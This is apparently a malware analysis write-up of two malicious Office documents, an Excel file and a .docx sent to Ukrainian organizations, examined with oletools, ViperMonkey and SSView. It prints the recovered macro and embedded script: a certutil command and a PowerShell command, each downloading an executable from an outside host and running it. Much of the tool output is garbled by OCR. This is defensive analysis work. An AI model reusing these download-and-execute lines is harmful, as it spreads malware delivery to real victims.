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Summary

This article presents an analysis of two malicious files and the tools used. Our approach can
be generalized to any other malicious documents. The last document is a .docx file that was
used to attack Ukrainian organizations in the context of the military conflict between Russia
and Ukraine. OLE (Object Linking and Embedding) is a technology based on COM
(Component Object Model) that allows objects to be linked or embedded into documents.

Analyst: @GeeksCyber
Technical analysis
First Document

SHA256: c2672e6fd55b129125a19¢7837943c0844c03ec02dcf165af183f9e4df4dccbe

The first file to be analyzed is an Excel document. The oleid tool is used to determine if the file

contains any macros:
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X : /samplel$ oleid malware.xlsm
oleid 0.60.devl - http://decalag nfo/oletools

report any issue at https://github.com/decalage2/oletools/issues

Filename: malware.xlsm

|This file contains VBA
|macros. Suspicious

| keywords were found. Use
|olevba and mraptor for
|more info.

|This file does not contain
| Excel 4/XLM macros.

| External relationships
|such as remote templates,
| remote OLE objects, etc

Figure 1
The olevba tool is utilized to obtain more information about the VBA macros found:
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r X@remnux ; samplel$ olevba malware.xlsm
olevba 6.66 on Python 3.6.9 - http://decalage.info/python/oletools

: malware.xlsm
: DpenXML
For now, VBA stomping cannot be detected for files in memory
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThiswWorkbook

Private Sub Workbook Open()
PID = {"cmd /c certutil.exe -urlcache -split -f ""httg 112.243.28/net/Ug
End Sub

VBA MACRO Sheetl.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheetl

WVBA MACRO Workbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Workbook®

(empty macro)
Pl e e e R e e e g D ey iy e B e e e +
| Keyword |Description |
e Frm e B e +
AutoExec |Workbook Open |Runs when the Excel Workbook is opened
| Shell |May run an executable file or a system

| vbHide |May run an executable file or a system
| command

|
|
| command |
|
|
|

|
|
|
|
|
| |Hex Strings |Hex-encoded strings were detected, may be
| | |used to obfuscate strings (option --decode to
| | |see all) |
| |Base64 Strings |Base64-encoded strings were detected, may be
| | |used to obfuscate strings (option --decode to|
| |see all) |
| |http://3.112.243.28/ |URL |
| |net/Ugrfa.bat | |
| |3.112.243.28 |IPv4 address |
| |certutil.exe |Executable file name

| |ugrfa.bat |Executable file name |
| | 0Opcbuyjhg.exe |Executable file name

- - - - - - domm e e e e - - dm e e m e e e e m e e e e e e == == - === - +

Figure 2

As we can see above, the tool detected a malicious macro that will run when macros are
enabled. The certutil.exe legitimate executable is used to download a malicious binary
(Ugrfa.bat) from a remote server and run it.

Oledump is a program to analyze OLE files. By running this tool against the malicious file, we
can confirm it contains a macro (note the letter “M”):

remnux@remnux: /samplel$ oledump.py malware.xlsm -i
A: xl/vbaProject.bin

Al: 535 '"PROJECT'

AZ: 89 "PROJECTwWm"

A3: 169 'VBA/Sheetl'

A4: 335 'VBA/ThisWorkbook'

AS: 171 'VBA/Workbook'

AB: 7 'VBA/ VBA PROJECT'

: 228 'VBA/dir'

emnux: amplel$ oledump.py malware.xlsm -s A4 -v
VB Name = "ThisWorkbook"
VB Base = "9{00020819-0000-0000-CO0D-0B0PBOPBAR46]}"
VB GlobalNameSpace = False
2 VB Creatable = False
VB PredeclaredId = True
VB Exposed = False
VB TemplateDerived = False
= VB Customizable = True
Private Sub Workbook Open()
PID = Shell("cmd fc certutil.exe -urlcache -split -f “"http://3.112.243.28/net/Ugrfa.bat"" Opcbuyjhg.exe.exe && Opcbuyjhg.exe.exe”, vbHide)
End Sub

Figure 4




ViperMonkey is a VBA Emulation engine that can be used to analyze and deobfuscate
malicious VBA macros. The tool was able to detect the entry point function (workbook open)
and the routine responsible for downloading a malicious executable:

igure 5 |
Because this file is equivalent to a .zip archive, we can use zipdump in order to examine its
content:

emnux: /samplel$ zipdump.py malware.xlsm
X Filename Encrypted Timestamp
[Content Types].xml ) 2022-02-08
_relsf.rEIS ) 2022-02-08
¥xL/workbook.xml ) 2022-02-08
xl/ rels/workbook.xml.rels ) 2022-02-08
x1l/drawings/drawingl. xml ) 2022-02-08
xl/drawings/ rels/drawingl.xml.rel ) 2022-02-08
xL/theme/themel. xml ] 2022-02-08
xl/styles.xml ) 2022-02-08
xL/worksheets/sheetl.xml § 2822-B2-88
xl/worksheets/ rels/sheetl.xml.rels ) 2022-02-08
x1/media/imageZ.png ) 2022-02-08
x1/media/imagel. jpg ) 2022-02-08
docProps/core.xml ) 2022-02-08
docProps/app.xml ) 2022-02-08
x1/worksheets/sheet2.xml ) 2022-02-08
x1/vbaProject.bin ) 2022-02-08
xl/sharedStrings.xml ) 2022-02-08 12
Figure 6
The 7z tool is used to decompress the xlsm file. The core.xml file contains the creator of the
document and the last modified by author (“Dell”), the created date/modified date of the

document:
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gure 7
The workbook.xml file contains 2 <sheet> elements that reference the worksheets in the
workbook:

SSView is a tool that can be utilized to analyze OLE2 Structured Storage files (vbaProject.bin
in our case):

Structured Storage Viewer - [vbaProject.bin] - o x
File ©ptions Element PropertySet Decoders  ‘Windows Help ===
*- vhaProject.bin
=4 vhaProject.bin Folder
"ﬂ VBA Name Size [B] | Created | accessed | Modified
D PROJECT T vBA 12}30{1699 12}30/1699 12§30/1599
“[7 PROJECTIM [ ProJECT 535 12/30/1399 12/30/1899 12/30/1899
D PROJECTwWM g9 12/30/1399 12/30{1899 12430{1899
= General
Twpe Skorage
Mame vbaProject.bin
File size 5,632 B
Zount. 3
Created 2/8/2022 12:39:54 PM
Modified Z16/2022 12:39:54 FM
Accessed 212602022 6:46:01 AM
= Checksums
CRC32 450915CA
CRICE4 EASSCFZIETCC1S2F
MDS T4DFEATAESC441007E. ..
SHAL A11587335E2505F7EGF. .,
Total: & elements |vbaPr0ject.bin 4
Figure 9

ThisWorkbook is the workbook where the malicious macro code is running from:
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=% whaProject.bin PaEX AsTest | aichre | AsATF | ssHTML

= vBa I0Kt0Attribulle VB_Namle = "ThiDsW orkboolk"
Ll .vea_PROJECT
) & SE Bas00E 0{OCC20PEL0-00000CRON0DAE)
% 4] GiDobal 085pa, c0° Falsel% 0Creatabl000Predec| Jald| dBaTrul

f°Exposelll0& Templ al @ eDerlv-0CEustom z. D
S f2PE0ED Subl 0°' _Open }

PIDEDSND &t 1 [~ S
0, voHide }

RN 0 Opcbuy| Lhpl#®, % &&0

[ eroECTwm SEndIQ

Figure 10
The above URL is classified as malicious by multiple vendors per VirusTotal (see figure 11). At
this point, we were able to identify the malicious macro using different tools.

DETECTION DETAILS COMMUNITY

Figure 11
Second Document

SHA256: 992df82cf31a91acd034411bb43alec127fa15d613b108287384882807f81764
This document was sent to organizations in Ukraine via email.

Oleid is used to investigate the file, which doesn’t contain any VBA macros, as displayed in
figure 12:
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remnt "emnux : /sam
oleid 0.60.devl - http://decala
THIS IS WORK IN PROGRESS - Check updates regularly!

Please report any issue at https://github.com/decalage2/oletools/issues

le2$ oleid malware.docx

Filename: malware.docx

|This file does not contain
| VBA macros.
|This file does not contain
|Excel 4/XLM macros.
|External relationships
|such as remote templates,
| remote OLE objects, etc
Figure 12
We've also utilized the olevba tool in order to confirm the above information. It's better to
validate the findings using different tools:

remn remnux: /s ’% olevba malware.docx
ol 8.60 on Python 3.6.9 - h //decalage.info/python/oletools

FILE: malware.docx
Type: OpenXML
No VBA or XLM macros found.

Figure 13
Three embedded objects were identified using the oledump tool:
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remnux@re /sample2$ oledump.py malware.docx
word/embeddings/oleObject3.bin
Al: 78 '\x01CompObj"'
A2: 20 ‘“3xB101c"
A3: 864 '\x010lelONative'
5850 '\x0201ePres0po’
A5: 6 '\x030bjInfo’
B: word/embeddings/ole0Object2.bin
Bl: 78 '"\x@1CompObj"'
B2: 20 '\x0101le’
B3: 864 '\ xB10lel@Native'
5850 '\Xx0201ePres0po’
B5: 6 '\x030bjInfo’
C: word/embeddings/oleObjectl.bin
Cl: 78 '\ x01CompObj"
C2: 20 '\ xP10le"’
£3: 864 '\x010lelONative'
: 5850 '\x0201ePres000"
C5~ ] '\x030bjInfo'
We’'re able to determine that the objects are identical. The same tool is used to dump one of

them:

Figure 15

The content of the .docx file can be found using the zipdump tool, as in the first case:
X@remnux: docx
ex Filename
[Content Types].
_rels/.rels
word/ rels/document.
word/document.xml
word/media/imagel. png
b word/theme/themel. xml
word/embeddings/oleObject3.bin
3 word/embeddings/oleObject2.bin

fsample2$ zipdump.
Encrypted

py malware.
Timestamp

1980-01-01
1980-01-01
1980-01-01
1980-01-01
1980-01-01
1980-01-01
1980-01-01
1980-01-01
1980-01-01

xml 0o
06
0o
oo :
06 :
0] 0]5
0o :
00 :
6o

00:0E
00 : 0t
00: 0t
0O : 0t
00 :0E
00 :0E
0O : et
00:0E
00 :0E

xml.rels

word/media/image4. jpg

word/embeddings/oleObjectl.bin
word/media/image2.emf
word/media/image3.png
word/settings.xml

word/styles.xml
word/webSettings.
docProps/app.xml
docProps/core.xml
8 word/fontTable.xml

xml

16

1980-
1980 -
1980-
1980-
1980-
1980-
1980-
1980-
1980-

e1-
el-
01-
e1-
01-
e1-
Bl =
01-
e1-

01
el
01
01
01
01
01
01
01

o]0
0o
oo :
06 :
oo
0o :
00 :
6o
06 :

0O : et
00: 0t
0O : 0t
00 :0E
00:0E
00 :0E
0o:

00 :0E
00: e

The 7z tool is used to decompress the file. The core.xml file contains the created

date/modified date of the document:




igure - 7
The document.xml.rels relationship file is shown below (we can observe the embedded
objects, some images, and other xml files):

ect3.bin

Figure 18
We’'ve analyzed the content of an embedded object using SSView:

Structured Storage Viewer - [oleObjectl.bin] - o X
File Options Element PropertySet Decoders  Windows Help ==l
*- oledbject1.bin
= oleObject1.bin Folder
7] OCompObj Name Size [B] | Created | Accessed | Modified
OCbjInfa [ Ocampobj 78 12/30/1899 12/30/1899 12/30/1899
{7 ool [ cobjirfa & 12i30{1899 1243071699 12j3071699
D CI0le1OMative D Oole 20 12430/1599 12/30/1899 123001899
“[] Colepresonn [ Oole10mative s64 120301599 12/30/1699 12/30/1692
DDOlePresDUD 5350 12301899 12/30/1399 12/30/1899
= General
Type Storage
Mame oledbject1.bin
File size: 10,240 B
Count )
Created 111930
Modified 1111930
Accessed FIZ6[2022 71435156 AM
= Checksums
CRC32 EGE42455
CRCE4 IA9SEFE0E073E486
MDS 010E7232EEAASDRASD. ..
SHAL SF101BSE9CEDOSSSFID...
Tatal: 5 elements |0IeObject1.bin ~
Figure 19

The OLE Compound File Stream object called “\10le10Native” from figure 20 corresponds to
the embedded object:
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Structured Storage Viewer - [oleObjectLbin]

#rfle pins Dot Propertyset Decaders Midowe b sid
*m;u

-

1] UIDT@ POLI CE. OOV UA - ITA aii @Al Ty jsB00A0NDRRC \Users: Adm pt AppDat .\unra \ Temp) 0SUZ0T@® POLICE OOV UA - TTaaiiebily (15) &

| SUADRE  mew  AciiveXObject(*SRELL appiicALi o) SHell ExeCuTel S pOwer SHEI | EXe* [HeT seRvl copOl NI manAgER] = RECURI TyPROTsCOL =

[neY SEcurs TypRatoceltypel  THaiZ | = Irm -uRl (“hilps:iic +otdn giscordapp com atiachme SRSl BIZ4LIASDRTITATEES

18302 n»nns 8634° ipt sotulty et ~outPiIE  “$enV PuBLI Gl Goegl aC mn—-.-u,mnu #xe’ . sTATL-pRoceSs SeNV auBLic

00§l #Cht omel pdale ex MOODCE BB RS el USE\ R AT Q0 Bn0) DARGE pI DO ARt a0 6 LE o8 cOADI 000 TE okl pT 0 OGNS L0 2E0NT @ DPID

ILTIRCIED TOROLVE DUEAL 0.0 ind> n)nvl-u B, ¥50=0=p0i 1101 B58)0 B E300000 810000} 1.0D0ebad ki1 0alpl 0GESIUIZ00R 79 @ OPOOILAIOCEES DGDORVE DUBAR O

-0 DRE>H2AVOAR A<D, DSE=1=000 B{ds

Figure 20
Because we know that the document doesn’t contain macros, we can open the document

using LibreOffice in Linux. It appears to be a redacted criminal investigation report from the
National Police of Ukraine:

10/12



malware.docx - LibreOffice Writer

,U,CI'K}'MEHT 32CEKPE‘I('.HI[I_I 3 METO DEe3NeKH OJIepKyBa4ia

/115 BI100paKeHHs TEKCTY HATHCHITE HA m

HAIITIOHAJIBHA ITOJIIIIIA
I .
YKPAIHHA

['OJIOBHE CJIIIOYHE YIIPABJIITHHHA

Byn. Boromonsud, 10, m.Kuis, 01601,
Ten. 253-13-31, gsu207 @police.gov.ua
|AgHTHGiKaUTAHWH Ko, 24182205

1 motoro 2022poky N2 0222/ 548/50

ITpo nopyuieHHA KPpMMiHA/ILHOI CIIPaBH

Figure 21

The exclamation marks that can be identified above lead to the embedded objects. When a

user clicks on the exclamation mark, the process writes a Javascript file in the Temp directory,
which will be run using wscript:
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Open » @
new ActivexObject|*ShELL.applIcAtion®).SHellExeCuTe( “pOwerShELL. Exe . - [NeT. seRvIcepOiNtmanAgER] : : sSECURITyPROToCOL =
[neT.SEcurITypRotocolType] : :Tls12 ; Irm wAr  (Enttps s + [iJdn.discordapp. com/at tachmef] + Ents/932413459672747544/93829197773526634] . sl
+ ity exfd Eefd 1+ -ourt L1E  [Jsenv:PuBLIC,GoaglechroneUpdate. exef] ; sTArt-phocess [Isewy:piLic\Googlechromelpdate  exef v
0

Figure 22
The purpose of the script is downloading a file from

https[:]//cdn.discordapp.com/attachments/932413459872747544/938291977735266344/putty.exe

and saving it as GoogleChromeUpdate.exe. The attackers tried to abuse Discord’s content
delivery network (CDN) in order to host their payload; however, VT recognizes the URL as
malicious
(https://www.virustotal.com/gui/url/d261c441e28d7b4cea8171e9cf4cc2c403d39685b97800a5
2604de979c5576b5). The Start-Process cmdlet is utilized to execute the downloaded file.
According to CERT-UA (https://cert.gov.ua/article/18419), this is supposed to be OutSteel
Trojan.
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